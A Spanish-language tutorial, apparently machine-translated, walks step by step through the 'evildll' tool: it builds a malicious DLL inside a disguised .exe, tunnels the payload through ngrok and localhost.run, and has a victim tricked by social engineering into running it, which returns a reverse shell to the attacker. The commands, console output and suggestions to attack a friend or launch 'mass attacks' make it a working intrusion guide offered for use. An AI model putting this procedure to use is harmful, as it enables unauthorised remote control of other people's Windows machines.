CÓMO SECUESTRAR WINDOWS 10 USANDO UNA DLL MALICIOSA: PASO POR PASO

Usted ha escuchado que la famosa técnica utilizada por los actores de amenazas chinos para secuestrar el sistema es que secuestran las bibliotecas DLL o Dynamic Link para hackear la computadora de alguien. Pero, ¿te has preguntado cómo hacen esto? Tal vez pienses que son las leyendas y, cuando te encuentres con algunas palabras importantes como DLL, si decimos que en los próximos minutos podrías ser esa leyenda.

La herramienta que vamos a utilizar hoy se basa en la técnica que se desarrolló en 2000, pero sigue siendo una gran técnica para secuestrar la computadora remota y obtener la carcasa inversa de la máquina Windows. Esta herramienta “Evilldll” es una gran herramienta que le proporciona el shell TCP inverso de la máquina de Windows de destino basada en el secuestro de DLL.

La aplicación requiere algunas DLL básicas de Windows para construir y ejecutar con éxito en la máquina. Cada aplicación requiere DLL en su sistema operativo para su operación exitosa. Estas DLL pueden contener en su sistema o el desarrollado debe proporcionarlo con la aplicación. Pero, ¿qué pasa si la DLL suministrada resulta ser una DLL maliciosa? Entonces podría resultar en una escalada de Priveledge, o como inyectar algún código malicioso o dar acceso de shell inverso al atacante. El Evildll hace lo mismo y utiliza el Mingw-w64 (que es una herramienta de código abierto para crear aplicaciones de Windows) para crear un dll malicioso y empacarlo dentro de un archivo .exe de aspecto legítimo que al ejecutarlo carga el DLL malicioso para secuestrar su objetivo máquina de Windows.

Veamos la demostración de la herramienta:¡

INSTALACIÓN Y USO DE LA HERRAMIENTA

Nota: – Esta herramienta se puede usar para obtener el shell tcp inverso de la máquina Windows solo ya que la DLL que creó solo se puede ejecutar en la plataforma Windows.

REQUERIMIENTOS

  • La herramienta se ha probado en Kali Linux 4.19.0 64 bits y Windows 10 64 bits versión de compilación 1909
  • Asegúrese de tener instalado ngrok
  • Asegúrese de haber instalado el compilador GCC mingw-w64

VERIFICACIÓN DE UN AUTHTOKEN DE NGROK:

  • Descargue ngrok para linux desde el sitio oficial https://ngrok.com//download
  • Después de descargar, cambie su directorio actual con cd <downloaded_path>\
  • Descomprímalo con unzip ngrok-stable-linux-amd64.zip
  • Después de descomprimir, escriba ./ngrok help en la terminal
  • Luego, vaya a www.ngrok.com
  • Regístrese o inicie sesión en su cuenta
  • Después de iniciar sesión, navegue hasta Autenticación -> Your Authtoken
  • Regrese a la terminal, escriba ./ngrok authtoken <YOUR_AUTHTOKEN> para guardar su authtoken en el archivo de configuración de ngrok para que el servidor ngrok pueda validarlo con su authkey cuando cree túneles o reenvíe el tráfico y asocie su cuenta con su sistema

INSTALACIÓN DE LA HERRAMIENTA:

  • Instale el compilador GCC mingw-w64 usando el comando
    • Apt-get install mingw-w64
root@kali:/home/iicybersecurity# apt-get install mingw-w64
Reading package lists… Done
Building dependency tree
Reading state information… Done
The following NEW packages will be installed:
mingw-w64
0 upgraded, 1 newly installed, 0 to remove and 1971 not upgraded.
Need to get 0 B/13.3 kB of archives.
After this operation, 49.2 kB of additional disk space will be used.
Selecting previously unselected package mingw-w64.
(Reading database … 394807 files and directories currently installed.)
Preparing to unpack …/mingw-w64_7.0.0-2_all.deb …
Unpacking mingw-w64 (7.0.0-2) …
Setting up mingw-w64 (7.0.0-2) …
W: Target Packages (main/binary-amd64/Packages) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Packages (main/binary-i386/Packages) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Packages (main/binary-all/Packages) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Translations (main/i18n/Translation-en_US) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Translations (main/i18n/Translation-en) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11 (main/dep11/Components-amd64.yml) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11 (main/dep11/Components-all.yml) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11-icons-small (main/dep11/icons-48x48.tar) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11-icons (main/dep11/icons-64x64.tar) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Packages (contrib/binary-amd64/Packages) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Packages (contrib/binary-i386/Packages) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Packages (contrib/binary-all/Packages) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Translations (contrib/i18n/Translation-en_US) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Translations (contrib/i18n/Translation-en) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11 (contrib/dep11/Components-amd64.yml) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11 (contrib/dep11/Components-all.yml) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11-icons-small (contrib/dep11/icons-48x48.tar) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11-icons (contrib/dep11/icons-64x64.tar) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Packages (non-free/binary-amd64/Packages) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Packages (non-free/binary-i386/Packages) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Packages (non-free/binary-all/Packages) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Translations (non-free/i18n/Translation-en_US) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target Translations (non-free/i18n/Translation-en) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11 (non-free/dep11/Components-amd64.yml) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11 (non-free/dep11/Components-all.yml) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11-icons-small (non-free/dep11/icons-48x48.tar) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
W: Target DEP-11-icons (non-free/dep11/icons-64x64.tar) is configured multiple times in /etc/apt/sources.list:1 and /etc/apt/sources.list:18
  • Clone el repositorio de github usando el comando
    • git clone https://github.com/thelinuxchoice/evildll.git
git clone https://github.com/thelinuxchoice/evildll.git
Cloning into 'evildll'…
remote: Enumerating objects: 21, done.
remote: Counting objects: 100% (21/21), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 21 (delta 5), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (21/21), done.
  • Después de la clonación en el repositorio, cambie su directorio actual a repositorio clonado cd evildll y ls para ver los contenidos en el repositorio clonado
  • Escriba bash install.sh para iniciar la herramienta

USO DE LA HERRAMIENTA:

Después de instalar la herramienta, es más importante saber qué está haciendo la herramienta en segundo plano para inyectar DLL en otro sistema. Démonos cuenta de que funciona paso a paso:

  • Después de instalar la herramienta, tiene dos opciones: elegir ngrok.io o usar personalizado (localhost/WAN). Si alguna vez ha utilizado Metasploit, después de escanear y elegir la carga útil, Metasploit le pide que le proporcione LHOST, LPORT, RHOST y RPORT. Estas dos opciones son las configuraciones que inicializarán LHOST y LPORT a la carga útil que se instalará en el sistema de la víctima. Para la demostración, elegiremos la opción 1, es decir, ngrok.io porque este opcionalmente técnicamente más seguro tiene más alcance
  • Ahora pedirá el nombre de la carga útil que se verá a la víctima final. La carga útil será un archivo .exe con algunas otras DLL dentro con el nombre predeterminado de la carga útil es Counterstrike. Si desea cambiar el nombre de la carga útil, puede hacerlo escribiendo el nombre suponga opj
  • Tan pronto como presione Intro después de esta opción, iniciará el servidor php de manera predeterminada en 3333 en el localhost (hay algunas restricciones de seguridad preconfiguradas y tal que el servidor php solo está disponible solo en el localhost, es decir, en 127.0.0.1)
  • Después de iniciar el servidor php, el script verificará si ngrok está configurado en el sistema o no. Si no está configurado, configúrelo con los pasos anteriores.
  • Si su ngrok está configurado, creará un túnel tcp para reenviar el tráfico a su sistema. Creará un enlace como tcp: //0.tcp.ngrok.io: número de puerto. Estos son LHOST y LPORT que están configurados en su carga útil
  • Ahora puede abrir su servidor localhost en el puerto 3333 para ver qué ha creado la herramienta. Escriba el comando 127.0.0.1:3333

¿Y si quieres enviar este enlace a tu amigo que está lejos de ti y quieres atacar su sistema? Para esto, debe convertir este enlace localhost en una URL pública. Esto se puede hacer creando un túnel SSH (Secure Socket Shell). Esto se puede hacer con la ayuda de OpenSSH que le permite reenviar puertos desde un servidor remoto. Hay algunos servidores disponibles en Internet que le permiten crear un túnel SSH seguro para que se pueda acceder públicamente a su localhost, por ejemplo: localhost.run, serveo.net, ngrok, etc. Cuando use esto en su servidor, le proporcionará 2 URL públicas que funcionan en los protocolos http y https. Este método también se conoce como reenvío de puerto remoto. Ahora para hacer esto:

  • Escriba el comando ssh -R 80: localhost: 3333 custom-subdomain@ssh.localhost.run
  • Ahora su sistema tiene que autenticar el servidor utilizando su clave pública para garantizar la seguridad
ssh -R 80:localhost:3333 custom-subdomain@ssh.localhost.run
Warning: Permanently added the RSA host key for IP address '52.20.30.75' to the list of known hosts.
===============================================================================
Welcome to localhost.run!
Head over to https://twitter.com/localhost_run and give us a follow for the
hottest SSH port forwarded local dev env news.
You're going to need a SSH key to access this service soon.
If you don't know what this is pls don't panic, you're smart, you've got this.
Github has a great howto, follow along with it to get prepared for the change:
https://help.github.com/en/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent
Why is this happening you ask? Behind the scenes we've been hard at work.
There's bug fixes, stability improvements and soon, new features, some of which
require that SSH key we mentioned. Probably a new website too, for peeps who
don't yet know the joys of using SSH to read this. Watch this space…
If you see a message below telling you that your hostname is already in use
** try a different username like this:**
ssh -R localhost:80:localhost:8080 random-string@ssh.localhost.run
Connect to http://custom-subdomain-92f052c7.localhost.run or https://custom-subdomain-92f052c7.localhost.run
  • Después de la autenticación, se generarán los dos enlaces públicos que se pueden utilizar para acceder a su host local públicamente

Ahora usaremos uno de estos enlaces y haremos un poco de ingeniería social para atacar a mi víctima y abrir estas URL. Cuando la víctima abre uno de estos enlaces:

  • Se descargará un archivo en la máquina de la víctima
  • En el lado del atacante, la pantalla del atacante le pedirá de inmediato que escuche en el puerto por defecto en el puerto 4444
  • Tan pronto como la víctima extraiga el archivo, recibirá los siguientes componentes en el archivo:
  • Como puede ver un archivo DLL llamado hw.dll adjunto con hl.exe, este hw.dll es un dll malicioso que se carga cuando ejecutamos hl.exe y le dará el shell al atacante en el extremo remoto del otro lado
  • Ahora su sistema se conectará al puerto de escucha ngrok que reenvía todo el tráfico desde el túnel tcp a un puerto configurado en su computadora (en esta situación, 4444 por defecto)
  • Escriba netstat -aon para más detalles. Después de una conexión exitosa, obtendrá el shell revserse de la máquina de la víctima
  • Ahora puede hacer lo que quiera y disfrutar de los derechos en la máquina secuestrada tanto como lo pueda hacer el usuario conectado

También puede entregar el paquete .exe malicioso con reenvío de puerto personalizado, pero en ese caso debe ingresar el LHOST y LPORT personalizados y obtendrá el archivo requerido y luego puede enviar ese archivo a la víctima utilizando algunas técnicas de ingeniería social.

CONCLUSIÓN

Esta es simplemente una herramienta increíble para hackear la computadora de alguien en la red remota. Automatiza muchas de las tareas y se puede utilizar para hacer un ataque masivo al sistema de la víctima.